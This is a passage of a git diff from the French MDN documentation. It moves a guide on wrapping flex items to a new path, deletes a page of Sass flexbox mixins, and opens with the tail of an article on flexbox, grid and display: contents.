De façon générale, si vous ajoutez des marges autour d'éléments flexibles afin que ceux-ci soient alignés, vous devriez utiliser une méthode de disposition bidimensionnelle comme la grille CSS qui vous permettra de mieux organiser votre contenu. La taille du composant à mettre en forme n'a pas d'importance, on n'utilisera pas plus les boîtes flexibles pour un « petit » composant et la grille pour un « grand ». Essayez les différentes méthodes, profitez de la liberté de choix qui existe désormais avec ces outils.

- -

Pour approfondir cette comparaison entre la grille et les boîtes flexibles, vous pouvez consulter cet article à propos des relations entre la grille CSS et les autres méthodes de disposition. Cet article détaille les nombreuses différences entre la grille CSS et les boîtes flexibles ; il illustre aussi les fonctionnalités supplémentaires provenant de la grille. Cet article pourra vous aider à choisir la méthode de disposition à privilégier.

- -

Les boîtes flexibles et display: contents

- -

La valeur contents de la propriété {{cssxref("display")}} est une nouvelle valeur, décrite ainsi dans la spécification :

- -
-

« L'élément ne génère aucune boîte de lui-même mais ses éléments fils et ses pseudo-éléments continuent de générer des boîtes normalement. En termes de génération de boîtes et de disposition, l'élément doit être traité comme s'il avait été remplacé par ses éléments fils et ses pseudo-éléments dans l'arbre du document. »

-
- -

La valeur de la propriété display contrôle la façon dont les boîtes sont générées et si un élément doit générer une boîte qui puisse être mise en forme et vue sur la page ou si la boîte normalement créée devrait être retirée afin que ses éléments fils soient « remontés » dans l'arbre et participent à la disposition dont l'élément (parent) aurait dû faire partie. Un exemple étant beaucoup plus efficace qu'un long discours, passons à la suite.

- -

Dans l'exemple suivant on dispose d'un conteneur flexible avec trois éléments fils. L'un de ces éléments flexibles possède deux éléments à l'intérieur. Normalement, ces deux éléments ne participent pas à la disposition en boîtes flexibles, car cette disposition s'applique uniquement aux éléments fils directs du conteneur flexible.

- -

En ajoutant display: contents à l'élément flexible qui contient deux éléments fils, on peut voir que l'élément disparaît de la disposition et permet à ses deux éléments fils d'agir comme des éléments flexibles. Vous pouvez essayer de retirer la ligne avec display: contents afin que l'élément parent « revienne ».

- -

On notera que cela ne retire que la boîte de la disposition. Les éléments fils au deuxième niveau ne deviennent pas des éléments fils directs pour d'autres notions. On peut voir dans l'exemple qu'on utilise un sélecteur sur les éléments fils directs pour gérer l'arrière-plan et les bordures : ces styles n'ont pas été appliqués aux éléments fils de deuxième rang. Ces éléments ont été disposés comme des éléments flexibles, mais ils ne récupèrent pas la mise en forme des éléments fils directs.

- -
-

Attention ! Utiliser display: contents entraînera la suppression de l'élément dans l'arbre d'accessibilité et les lecteurs d'écran ne pourront pas en voir le contenu (comme si on avait utilisé display: none). La valeur contents doit uniquement être utilisée pour les éléments de présentation (et pas de contenu).

-
- -

En retirant la boîte de l'élément parent, on ne peut pas utiliser cette boîte pour, par exemple, ajouter une couleur d'arrière-plan commune aux éléments fils imbriqués. Si on retire display: contents dans l'exemple, on peut voir que l'arrière-plan orange rattaché à l'élément disparaît avec la boîte.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

- -

La prise en charge de display:contents est actuellement limitée parmi les différents navigateurs et cette fonctionnalité est nécessaire au bon fonctionnement de cette démonstration. Firefox prend en charge display: contents et la gestion de cette valeur est en cours d'implémentation dans Chrome. Lorsque cette fonctionnalité sera plus largement disponible, elle sera très utile lorsqu'on souhaitera utiliser une structure à des fins sémantiques mais sans, pour autant, afficher les boîtes générées par défaut.

diff --git a/files/fr/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html b/files/fr/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html new file mode 100644 index 0000000000..6b78cba48f --- /dev/null +++ b/files/fr/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html @@ -0,0 +1,101 @@ +--- +title: Maîtriser le passage à la ligne des éléments flexibles +slug: >- + Web/CSS/CSS_Flexible_Box_Layout/Maîtriser_passage_à_la_ligne_des_éléments_flexibles +tags: + - CSS + - Grille + - Guide + - Intermediate + - flexbox + - grid + - wrapping +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items +--- +

{{CSSRef}}

+ +

Les boîtes flexibles ont été conçues comme une méthode de disposition unidimensionnelle. Autrement dit, elles permettent de disposer des éléments en lignes ou en colonnes mais pas en lignes et en colonnes en même temps. Il existe toutefois la possibilité de passer des éléments flexibles à la ligne pour créer de nouvelles lignes horizontales si {{cssxref("flex-direction")}} vaut row ou de nouvelles colonnes si flex-direction vaut column. Dans ce guide, nous verrons comment cela fonctionne, les cas pour lesquels cela a été prévu et les situations qui nécessitent plutôt d'utiliser une disposition en grille (CSS Grid).

+ +

Créer des passages à la ligne

+ +

La valeur initiale de la propriété {{cssxref("flex-wrap")}} est nowrap. Cela signifie que si on a un ensemble d'éléments flexibles trop larges pour tenir dans le conteneur, ces éléments dépasseront. Si on souhaite que ces éléments créent une nouvelle ligne lorsque la largeur du conteneur est dépassée, on peut ajouter la propriété flex-wrap avec la valeur wrap, ou utiliser la propriété raccourcie {{cssxref("flex-flow")}} avec les valeurs row wrap ou column wrap.

+ +

Les éléments passeront alors à la ligne dans le conteneur. Dans l'exemple qui suit, on dispose de 10 éléments pour lesquels flex-basis vaut 160px et qui peuvent grandir/rétrécir. Une fois que la première ligne est composée de suffisamment d'éléments et qu'il n'y a plus d'espace suffisant pour placer un autre objet de 160 pixels, une nouvelle ligne flexible est créée dans laquelle on place les éléments suivants et ainsi de suite. Les éléments pouvant grandir, ils s'étireront sur plus de 160 pixels afin de remplir chaque ligne complètement. S'il n'y a qu'un seul élément sur la dernière ligne, cet élément s'étirera pour remplir toute la ligne.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-wrap.html", '100%', 650)}}

+ +

On peut avoir le même effet en colonnes. Ici le conteneur devra avoir une hauteur afin que les éléments créent de nouvelles colonnes et s'étirent en hauteur pour remplir chaque colonne.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/column-wrap.html", '100%', 810)}}

+ +

Le retour à la ligne et flex-direction

+ +

Le retour à la ligne fonctionne comme on pourrait s'y attendre lorsqu'on manipule flex-direction. Si flex-direction vaut row-reverse, les éléments commenceront à créer une nouvelle ligne à partir de la ligne de fin du conteneur et rempliront les lignes dans l'ordre inverse.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-reverse-wrap.html", '100%', 750)}}

+ +

On notera que l'inversion a uniquement lieu dans le sens de la ligne. On démarre à droite puis on passe à la deuxième ligne pour laquelle on démarre également à droite. On n'inverse pas les deux directions et on ne commence donc pas à partir du bas du conteneur pour le remplir vers le haut.

+ +

Des explications sur cette disposition unidimensionnelle

+ +

Comme nous avons pu le voir dans les exemples précédents, si les éléments peuvent grandir et rétrécir, lorsqu'il y a moins d'éléments dans la dernière ligne ou colonne, ces éléments grandissent pour occuper tout l'espace disponible.

+ +

Il n'existe pas de méthode, avec les boîtes flexibles, qui permettent d'aligner les éléments d'une ligne avec ceux de la ligne du dessus : chaque ligne flexible agit comme un nouveau conteneur, décorrélé du précédent et gère la distribution de l'espace sur l'axe principal pour cette ligne uniquement. S'il n'y a qu'un seul élément et que celui-ci peut grandir, il remplira alors tout l'espace, comme si on a avait eu un conteneur flexible avec un seul élément flexible.

+ +

Si on souhaite organiser du contenu sur deux dimensions, mieux vaut utiliser les grilles CSS. On peut comparer notre exemple précédent avec la version utilisant une disposition en grille pour observer les différences. Dans l'exemple qui suit, on utilise une grille CSS composée d'autant de colonnes de 160 pixels de large que possible et on distribue l'espace restant entre chaque colonne. Toutefois, les éléments restent ici sur la grille et ne s'étirent pas s'il y en a moins sur la dernière ligne.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/grid-example.html", '100%', 700)}}

+ +

C'est la différence entre une disposition unidimensionnelle et une disposition bidimensionnelle. Avec une méthode unidimensionnelle comme les boîtes flexibles, on ne contrôle que la ligne ou la colonne. Avec une méthode bidimensionnelle, on contrôle les deux axes simultanément. Aussi, si vous souhaitez organiser l'espace ligne par ligne ou colonne par colonne, vous pouvez utiliser les boîtes flexibles mais sinon, utilisez les grilles CSS.

+ +

Comment fonctionnent les systèmes de grilles basés sur les boîtes flexibles ?

+ +

La plupart du temps, les systèmes de grilles basés sur les boîtes flexibles fonctionnent en combinant les boîtes flexibles et les dispositions avec les flottements (floats). Si on affecte des largeurs en pourcentage aux éléments flexibles (via flex-basis ou avec une largeur sur l'élément et avec flex-basis en auto) on peut obtenir l'impression d'une disposition organisée sur deux dimensions, comme on peut voir dans l'exemple ci-après.

+ +

Dans cet exemple, on a flex-grow et flex-shrink qui valent 0 afin que les éléments ne soient pas flexibles et que leur flexibilité puisse être maîtrisée avec des pourcentages, comme on pouvait le faire avec des dispositions flottantes.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/flex-grid.html", '100%', 650)}}

+ +

Si on souhaite que les éléments flexibles s'alignent le long de l'axe secondaire, on pourra ajuster les largeurs avec ces pourcentages. Dans la plupart des cas, cet ajout de largeur aux éléments flexibles témoigne plutôt d'un scénario où les grilles CSS seraient plus pertinentes.

+ +

Créer des gouttières entre les éléments

+ +

Lorsque les éléments flexibles passent à la ligne, il faudra sans doute les espacer. À l'heure actuelle, il n'existe pas d'implémentation des propriétés de gouttières pour le module d'alignement des boîtes et pour Flexbox. À l'avenir, nous pourrons utiliser row-gap et column-gap pour les boîtes flexibles, comme nous pouvons le faire avec les grilles CSS. En attendant, il faut utiliser les marges pour obtenir l'effet escompté.

+ +

On peut voir dans l'exemple suivant que créer des gouttières entre les éléments sans créer d'espace sur les bords des conteneurs nécessite l'utilisation de marges négatives sur le conteneur flexible. Toutes les bordures du conteneur flexibles sont déplacées vers un deuxième conteneur afin que la marge négative puisse absorber les éléments le long du conteneur.

+ +

Cette contrainte sera levée lorsque les propriétés de gouttières seront implémentées. De telles gouttières s'appliqueront uniquement sur les bords des éléments situés à l'intérieur du conteneur.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/gaps.html", '100%', 830)}}

+ +

L'impact de visibility: collapse

+ +

La spécification sur les boîtes flexibles détaille la façon dont un élément flexible est replié lorsqu'on lui applique visibility: collapse (voir la documentation de {{cssxref("visibility")}}). La spécification décrit le comportement standard comme suit :

+ +
+

“Indiquer visibility:collapse sur un élément flexible le transforme en un élément flexible replié et produit un effet similaire à l'application de visibility:collapse sur une ligne ou colonne de tableau. L'élément flexible replié est intégralement retiré du rendu mais laisse une toise qui permet de conserver la taille de la ligne flexible selon l'axe  secondaire. Ainsi, si un conteneur flexible ne possède qu'une ligne flexible, replier ou déplier des éléments flexibles pourra modifier la dimension principale du conteneur mais n'aura aucun effet sur l'axe secondaire et empêchera ainsi le reste de la page d'osciller. Le passage à la ligne est réappliqué après le repliage des éléments et il se peut donc que la dimension secondaire d'un conteneur flexible sur plusieurs lignes puisse évoluer.” - Éléments repliés

+
+ +

Ce comportement s'avère utile lorsqu'on souhaite cibler certains éléments flexibles avec JavaScript afin d'afficher/masquer leur contenu. Un des exemples de la spécification illustre un tel scénario.

+ +

Dans l'exemple qui suit, on a un conteneur flexible sans passage à la ligne. Le troisième élément possède plus de contenu que les autres mais est paramétré avec visibility: collapse et le conteneur flexible conserve donc une toise pour la hauteur nécessaire à l'affichage de cet élément. Si on retire visibility: collapse ou qu'on modifie la valeur de visible, on pourra voir l'élément disparaître et l'espace être redistribué entre les éléments qui ne sont pas repliés. La hauteur du conteneur flexible ne devrait pas changer.

+ +
+

Note : Il est nécessaire d'utiliser Firefox pour les deux exemples présentés ensuite car Chrome et Safari considèrent collapse comme équivalent à hidden.

+
+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}

+ +

Lorsqu'on manipule des conteneurs flexibles qui sont composés de plusieurs lignes flexibles, il faut être conscient que le passage à la ligne est réappliqué après le repliage des éléments. Ainsi, le navigateur doit réappliquer les mécanismes de passage à la ligne afin de tenir compte de l'espace libéré par l'élément plié dans la direction principale.

+ +

Cela signifie qu'un ou plusieurs éléments pourraient être déplacés sur une autre ligne que leur ligne initiale.

+ +

Vous pouvez observer ce comportement dans l'exemple qui suit. On peut voir comment la composition des lignes varie en fonction de l'élément qui est replié. Si vous ajoutez plus de contenu au deuxième élément, il changera de ligne s'il est suffisamment grand. La ligne du haut sera alors aussi haute qu'une seule ligne de texte.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}

+ +

Si cela pose problème dans votre structure, il peut être nécessaire de revoir son organisation et, par exemple, de placer chaque ligne de contenu dans un conteneur flexible séparé afin que le contenu ne puisse pas changer de ligne.

+ +

La différence entre visibility: collapse et display: none

+ +

Lorsqu'on utilise display: none sur un élément afin de le cacher, cet élément est complètement retiré de la structure de la page. En pratique, cela signifie que les compteurs ignoreront cet élément et que les opérations telles que les transitions ne lui seront pas appliquées. visibility: hidden permet quant à elle de conserver la boîte dans la structure et peut être pratique si on souhaite que l'élément contribue à la disposition sans que l'utilisateur puisse le voir.

diff --git "a/files/fr/web/css/css_flexible_box_layout/ma\303\256triser_passage_\303\240_la_ligne_des_\303\251l\303\251ments_flexibles/index.html" "b/files/fr/web/css/css_flexible_box_layout/ma\303\256triser_passage_\303\240_la_ligne_des_\303\251l\303\251ments_flexibles/index.html" deleted file mode 100644 index 6b78cba48f..0000000000 --- "a/files/fr/web/css/css_flexible_box_layout/ma\303\256triser_passage_\303\240_la_ligne_des_\303\251l\303\251ments_flexibles/index.html" +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Maîtriser le passage à la ligne des éléments flexibles -slug: >- - Web/CSS/CSS_Flexible_Box_Layout/Maîtriser_passage_à_la_ligne_des_éléments_flexibles -tags: - - CSS - - Grille - - Guide - - Intermediate - - flexbox - - grid - - wrapping -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items ---- -

{{CSSRef}}

- -

Les boîtes flexibles ont été conçues comme une méthode de disposition unidimensionnelle. Autrement dit, elles permettent de disposer des éléments en lignes ou en colonnes mais pas en lignes et en colonnes en même temps. Il existe toutefois la possibilité de passer des éléments flexibles à la ligne pour créer de nouvelles lignes horizontales si {{cssxref("flex-direction")}} vaut row ou de nouvelles colonnes si flex-direction vaut column. Dans ce guide, nous verrons comment cela fonctionne, les cas pour lesquels cela a été prévu et les situations qui nécessitent plutôt d'utiliser une disposition en grille (CSS Grid).

- -

Créer des passages à la ligne

- -

La valeur initiale de la propriété {{cssxref("flex-wrap")}} est nowrap. Cela signifie que si on a un ensemble d'éléments flexibles trop larges pour tenir dans le conteneur, ces éléments dépasseront. Si on souhaite que ces éléments créent une nouvelle ligne lorsque la largeur du conteneur est dépassée, on peut ajouter la propriété flex-wrap avec la valeur wrap, ou utiliser la propriété raccourcie {{cssxref("flex-flow")}} avec les valeurs row wrap ou column wrap.

- -

Les éléments passeront alors à la ligne dans le conteneur. Dans l'exemple qui suit, on dispose de 10 éléments pour lesquels flex-basis vaut 160px et qui peuvent grandir/rétrécir. Une fois que la première ligne est composée de suffisamment d'éléments et qu'il n'y a plus d'espace suffisant pour placer un autre objet de 160 pixels, une nouvelle ligne flexible est créée dans laquelle on place les éléments suivants et ainsi de suite. Les éléments pouvant grandir, ils s'étireront sur plus de 160 pixels afin de remplir chaque ligne complètement. S'il n'y a qu'un seul élément sur la dernière ligne, cet élément s'étirera pour remplir toute la ligne.

- -

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-wrap.html", '100%', 650)}}

- -

On peut avoir le même effet en colonnes. Ici le conteneur devra avoir une hauteur afin que les éléments créent de nouvelles colonnes et s'étirent en hauteur pour remplir chaque colonne.

- -

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/column-wrap.html", '100%', 810)}}

- -

Le retour à la ligne et flex-direction

- -

Le retour à la ligne fonctionne comme on pourrait s'y attendre lorsqu'on manipule flex-direction. Si flex-direction vaut row-reverse, les éléments commenceront à créer une nouvelle ligne à partir de la ligne de fin du conteneur et rempliront les lignes dans l'ordre inverse.

- -

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-reverse-wrap.html", '100%', 750)}}

- -

On notera que l'inversion a uniquement lieu dans le sens de la ligne. On démarre à droite puis on passe à la deuxième ligne pour laquelle on démarre également à droite. On n'inverse pas les deux directions et on ne commence donc pas à partir du bas du conteneur pour le remplir vers le haut.

- -

Des explications sur cette disposition unidimensionnelle

- -

Comme nous avons pu le voir dans les exemples précédents, si les éléments peuvent grandir et rétrécir, lorsqu'il y a moins d'éléments dans la dernière ligne ou colonne, ces éléments grandissent pour occuper tout l'espace disponible.

- -

Il n'existe pas de méthode, avec les boîtes flexibles, qui permettent d'aligner les éléments d'une ligne avec ceux de la ligne du dessus : chaque ligne flexible agit comme un nouveau conteneur, décorrélé du précédent et gère la distribution de l'espace sur l'axe principal pour cette ligne uniquement. S'il n'y a qu'un seul élément et que celui-ci peut grandir, il remplira alors tout l'espace, comme si on a avait eu un conteneur flexible avec un seul élément flexible.

- -

Si on souhaite organiser du contenu sur deux dimensions, mieux vaut utiliser les grilles CSS. On peut comparer notre exemple précédent avec la version utilisant une disposition en grille pour observer les différences. Dans l'exemple qui suit, on utilise une grille CSS composée d'autant de colonnes de 160 pixels de large que possible et on distribue l'espace restant entre chaque colonne. Toutefois, les éléments restent ici sur la grille et ne s'étirent pas s'il y en a moins sur la dernière ligne.

- -

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/grid-example.html", '100%', 700)}}

- -

C'est la différence entre une disposition unidimensionnelle et une disposition bidimensionnelle. Avec une méthode unidimensionnelle comme les boîtes flexibles, on ne contrôle que la ligne ou la colonne. Avec une méthode bidimensionnelle, on contrôle les deux axes simultanément. Aussi, si vous souhaitez organiser l'espace ligne par ligne ou colonne par colonne, vous pouvez utiliser les boîtes flexibles mais sinon, utilisez les grilles CSS.

- -

Comment fonctionnent les systèmes de grilles basés sur les boîtes flexibles ?

- -

La plupart du temps, les systèmes de grilles basés sur les boîtes flexibles fonctionnent en combinant les boîtes flexibles et les dispositions avec les flottements (floats). Si on affecte des largeurs en pourcentage aux éléments flexibles (via flex-basis ou avec une largeur sur l'élément et avec flex-basis en auto) on peut obtenir l'impression d'une disposition organisée sur deux dimensions, comme on peut voir dans l'exemple ci-après.

- -

Dans cet exemple, on a flex-grow et flex-shrink qui valent 0 afin que les éléments ne soient pas flexibles et que leur flexibilité puisse être maîtrisée avec des pourcentages, comme on pouvait le faire avec des dispositions flottantes.

- -

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/flex-grid.html", '100%', 650)}}

- -

Si on souhaite que les éléments flexibles s'alignent le long de l'axe secondaire, on pourra ajuster les largeurs avec ces pourcentages. Dans la plupart des cas, cet ajout de largeur aux éléments flexibles témoigne plutôt d'un scénario où les grilles CSS seraient plus pertinentes.

- -

Créer des gouttières entre les éléments

- -

Lorsque les éléments flexibles passent à la ligne, il faudra sans doute les espacer. À l'heure actuelle, il n'existe pas d'implémentation des propriétés de gouttières pour le module d'alignement des boîtes et pour Flexbox. À l'avenir, nous pourrons utiliser row-gap et column-gap pour les boîtes flexibles, comme nous pouvons le faire avec les grilles CSS. En attendant, il faut utiliser les marges pour obtenir l'effet escompté.

- -

On peut voir dans l'exemple suivant que créer des gouttières entre les éléments sans créer d'espace sur les bords des conteneurs nécessite l'utilisation de marges négatives sur le conteneur flexible. Toutes les bordures du conteneur flexibles sont déplacées vers un deuxième conteneur afin que la marge négative puisse absorber les éléments le long du conteneur.

- -

Cette contrainte sera levée lorsque les propriétés de gouttières seront implémentées. De telles gouttières s'appliqueront uniquement sur les bords des éléments situés à l'intérieur du conteneur.

- -

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/gaps.html", '100%', 830)}}

- -

L'impact de visibility: collapse

- -

La spécification sur les boîtes flexibles détaille la façon dont un élément flexible est replié lorsqu'on lui applique visibility: collapse (voir la documentation de {{cssxref("visibility")}}). La spécification décrit le comportement standard comme suit :

- -
-

“Indiquer visibility:collapse sur un élément flexible le transforme en un élément flexible replié et produit un effet similaire à l'application de visibility:collapse sur une ligne ou colonne de tableau. L'élément flexible replié est intégralement retiré du rendu mais laisse une toise qui permet de conserver la taille de la ligne flexible selon l'axe  secondaire. Ainsi, si un conteneur flexible ne possède qu'une ligne flexible, replier ou déplier des éléments flexibles pourra modifier la dimension principale du conteneur mais n'aura aucun effet sur l'axe secondaire et empêchera ainsi le reste de la page d'osciller. Le passage à la ligne est réappliqué après le repliage des éléments et il se peut donc que la dimension secondaire d'un conteneur flexible sur plusieurs lignes puisse évoluer.” - Éléments repliés

-
- -

Ce comportement s'avère utile lorsqu'on souhaite cibler certains éléments flexibles avec JavaScript afin d'afficher/masquer leur contenu. Un des exemples de la spécification illustre un tel scénario.

- -

Dans l'exemple qui suit, on a un conteneur flexible sans passage à la ligne. Le troisième élément possède plus de contenu que les autres mais est paramétré avec visibility: collapse et le conteneur flexible conserve donc une toise pour la hauteur nécessaire à l'affichage de cet élément. Si on retire visibility: collapse ou qu'on modifie la valeur de visible, on pourra voir l'élément disparaître et l'espace être redistribué entre les éléments qui ne sont pas repliés. La hauteur du conteneur flexible ne devrait pas changer.

- -
-

Note : Il est nécessaire d'utiliser Firefox pour les deux exemples présentés ensuite car Chrome et Safari considèrent collapse comme équivalent à hidden.

-
- -

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}

- -

Lorsqu'on manipule des conteneurs flexibles qui sont composés de plusieurs lignes flexibles, il faut être conscient que le passage à la ligne est réappliqué après le repliage des éléments. Ainsi, le navigateur doit réappliquer les mécanismes de passage à la ligne afin de tenir compte de l'espace libéré par l'élément plié dans la direction principale.

- -

Cela signifie qu'un ou plusieurs éléments pourraient être déplacés sur une autre ligne que leur ligne initiale.

- -

Vous pouvez observer ce comportement dans l'exemple qui suit. On peut voir comment la composition des lignes varie en fonction de l'élément qui est replié. Si vous ajoutez plus de contenu au deuxième élément, il changera de ligne s'il est suffisamment grand. La ligne du haut sera alors aussi haute qu'une seule ligne de texte.

- -

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}

- -

Si cela pose problème dans votre structure, il peut être nécessaire de revoir son organisation et, par exemple, de placer chaque ligne de contenu dans un conteneur flexible séparé afin que le contenu ne puisse pas changer de ligne.

- -

La différence entre visibility: collapse et display: none

- -

Lorsqu'on utilise display: none sur un élément afin de le cacher, cet élément est complètement retiré de la structure de la page. En pratique, cela signifie que les compteurs ignoreront cet élément et que les opérations telles que les transitions ne lui seront pas appliquées. visibility: hidden permet quant à elle de conserver la boîte dans la structure et peut être pratique si on souhaite que l'élément contribue à la disposition sans que l'utilisateur puisse le voir.

diff --git a/files/fr/web/css/css_flexible_box_layout/mixins/index.html b/files/fr/web/css/css_flexible_box_layout/mixins/index.html deleted file mode 100644 index 652541e0c1..0000000000 --- a/files/fr/web/css/css_flexible_box_layout/mixins/index.html +++ /dev/null @@ -1,369 +0,0 @@ ---- -title: Mises en page avancées avec les boîtes flexibles -slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins -tags: - - CSS - - Reference - - flexbox -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mixins ---- -
{{CSSRef}}
- -

Voici un ensemble de mixins pour vous permettre de bidouiller avec les boîtes flexibles grâce au support natif des navigateurs actuels.

- -

Dans ces mixins, on utilisera :

- -
    -
  • Des fallbacks avec l'ancienne syntaxe 'box' (Firefox et les anciens WebKit) et les syntaxes préfixées (IE10, les navigateurs WebKit sans ajout de flex)
    • -
  • La syntaxe finale standard (Firefox, Safari, Chrome, IE11, Opera)
    • -
- -

Ces mixins ont été inspirés par : https://dev.opera.com/articles/view/advanced-cross-browser-flexbox/

- -

Et les articles suivants ont été d'une aide précieuse :

- - - -
-

Note : Actuellement, les mixins ne sont pas pris en charge nativement par les navigateurs. Il faut utiliser un pré-processeur CSS afin de tirer parti des techniques suivantes. Cependant, les pré-processeurs ne font que générer du code CSS valide et on pourra donc appliquer les techniques précédentes en utilisant du « pur » CSS si on le souhaite.

-
- -

Les conteneurs flexibles

- -

En utilisant la valeur flex pour la propriété {{cssxref("display")}}, on génère une boîte pour un conteneur flexible de bloc. La valeur inline-flex permet quant à elle de générer un conteneur flexible en ligne (inline).

- - - -
-
@mixin flexbox {
-  display: -webkit-box;
-  display: -moz-box;
-  display: -webkit-flex;
-  display: -ms-flexbox;
-  display: flex;
-}
-
-// Exemple d'utilisation
-%flexbox { @include flexbox; }
-
- -
-
@mixin inline-flex {
-  display: -webkit-inline-box;
-  display: -moz-inline-box;
-  display: -webkit-inline-flex;
-  display: -ms-inline-flexbox;
-  display: inline-flex;
-}
-
-%inline-flex { @include inline-flex; }
-
- -

Direction des boîtes flexibles

- -

La propriété {{cssxref("flex-direction")}} indique la façon dont les objets flexibles sont organisés dans le conteneur flexible en définissant la direction principale du conteneur. Autrement dit, elle détermine la direction selon laquelle les éléments flexibles sont disposés.

- -
    -
  • Valeurs possibles : row (la valeur par défaut)| row-reverse | column | column-reverse
    • -
  • Spécification
    • -
- -
-
@mixin flex-direction($value: row) {
-  @if $value == row-reverse {
-    -webkit-box-direction: reverse;
-    -webkit-box-orient: horizontal;
-    -moz-box-direction: reverse;
-    -moz-box-orient: horizontal;
-  } @else if $value == column {
-    -webkit-box-direction: normal;
-    -webkit-box-orient: vertical;
-    -moz-box-direction: normal;
-    -moz-box-orient: vertical;
-  } @else if $value == column-reverse {
-    -webkit-box-direction: reverse;
-    -webkit-box-orient: vertical;
-    -moz-box-direction: reverse;
-    -moz-box-orient: vertical;
-  } @else {
-    -webkit-box-direction: normal;
-    -webkit-box-orient: horizontal;
-    -moz-box-direction: normal;
-    -moz-box-orient: horizontal;
-  }
-  -webkit-flex-direction: $value;
-  -ms-flex-direction: $value;
-  flex-direction: $value;
-}
-
-// Version plus courte :
-@mixin flex-dir($args...) { @include flex-direction($args...); }
-
- -

flex-wrap

- -

La propriété {{cssxref("flex-wrap")}} permet de contrôler si le conteneur flexible s'étend sur une ou sur un plusieurs lignes ainsi que la direction de l'axe secondaire (qui définit la direction dans laquelle les lignes sont « empilées »).

- -
    -
  • Valeurs possibles : nowrap (la valeur par défaut)| wrap | wrap-reverse
    • -
  • Spécification
    • -
- -
-
@mixin flex-wrap($value: nowrap) {
-  // No Webkit/FF Box fallback.
-  -webkit-flex-wrap: $value;
-  @if $value == nowrap {
-    -ms-flex-wrap: none;
-  } @else {
-    -ms-flex-wrap: $value;
-  }
-  flex-wrap: $value;
-}
-
- -

flex-flow

- -

La propriété {{cssxref("flex-flow")}} est une propriété raccourcie pour définir flex-direction et flex-wrap qui permettent respectivement de définir l'axe principal et l'axe secondaire.

- -
    -
  • Valeur par défaut : row (la valeur par défaut)| nowrap
    • -
  • Spécification
    • -
- -
-
@mixin flex-flow($values: (row nowrap)) {
-  // No Webkit/FF Box fallback.
-  -webkit-flex-flow: $values;
-  -ms-flex-flow: $values;
-  flex-flow: $values;
-}
-
- -

order

- -

La propriété {{cssxref("order")}}  contrôle l'ordre dans lequel les éléments apparaissent dans le conteneur flexible en les affectant à des groupes ordinaux.

- -
    -
  • Valeur : un entier ({{cssxref("<integer>")}} (0 est la valeur par défaut)
    • -
  • Spécification
    • -
- -
-
@mixin order($int: 0) {
-  -webkit-box-ordinal-group: $int + 1;
-  -moz-box-ordinal-group: $int + 1;
-  -webkit-order: $int;
-  -ms-flex-order: $int;
-  order: $int;
-}
-
- -

flex-grow

- -

La propriété {{cssxref("flex-grow")}} définit le facteur d'expansion flexible. Les nombres négatifs ne sont pas autorisés.

- -
    -
  • Valeur : un entier ({{cssxref("<integer>")}} (1 est la valeur par défaut)
    • -
  • Spécification
    • -
- -
-
@mixin flex-grow($int: 1) {
-  -webkit-box-flex: $int;
-  -moz-box-flex: $int;
-  -webkit-flex-grow: $int;
-  -ms-flex: $int;
-  flex-grow: $int;
-}
-
- -

flex-shrink

- -

La propriété {{cssxref("flex-shrink")}} permet de définir le facteur de réduction des éléments flexibles. Les nombres négatifs ne sont pas autorisés.

- -
    -
  • Valeur : un entier ({{cssxref("<integer>")}} (1 est la valeur par défaut)
    • -
  • Spécification
    • -
- -
-
@mixin flex-shrink($int: 0) {
-  -webkit-flex-shrink: $int;
-  -moz-flex-shrink: $int;
-  -ms-flex: $int;
-  flex-shrink: $int;
-}
-
- -

flex-basis

- -

La propriété {{cssxref("flex-basis")}} permet de définir la longueur de base à partir de laquelle s'étendre ou se réduire. Les longueurs négatives ne sont pas autorisées.

- -
    -
  • Valeurs : voir la page {{cssxref("flex-basis")}}, la valeur par défaut est auto.
    • -
  • Spécification
    • -
- -
-
@mixin flex-basis($value: auto) {
-  -webkit-flex-basis: $value;
-  flex-basis: $value;
-}
-
- -

flex

- -

La propriété raccourcie {{cssxref("flex")}} permet de définir les composants d'une longueur flexible : le facteur d'expansion (flex-grow), le facteur de réduction (flex-shrink) et la longueur de base (flex-basis). Lorsqu'un élément est un élément flexible, c'est flex qui sera utilisée (plutôt que width ou height) afin de déterminer la taille de l'élément. Si l'élément n'est pas un objet flexible, flex n'aura aucun effet.

- -
    -
  • Valeur : voir la page {{cssxref("flex")}} pour les valeurs possibles et la valeur par défaut
    • -
  • Spécification
    • -
- -
-
@mixin flex($fg: 1, $fs: 0, $fb: auto) {
-
-  // Définir une variable pour l'utiliser
-  // avec les propriétés box-flex
-  $fg-boxflex: $fg;
-
-  // Box-Flex ne prend qu'une valeur, on prend donc
-  // la première valeur de la liste et on la renvoie.
-  @if type-of($fg) == 'list' {
-    $fg-boxflex: nth($fg, 1);
-  }
-
-  -webkit-box: $fg-boxflex;
-  -moz-box: $fg-boxflex;
-  -webkit-flex: $fg $fs $fb;
-  -ms-flex: $fg $fs $fb;
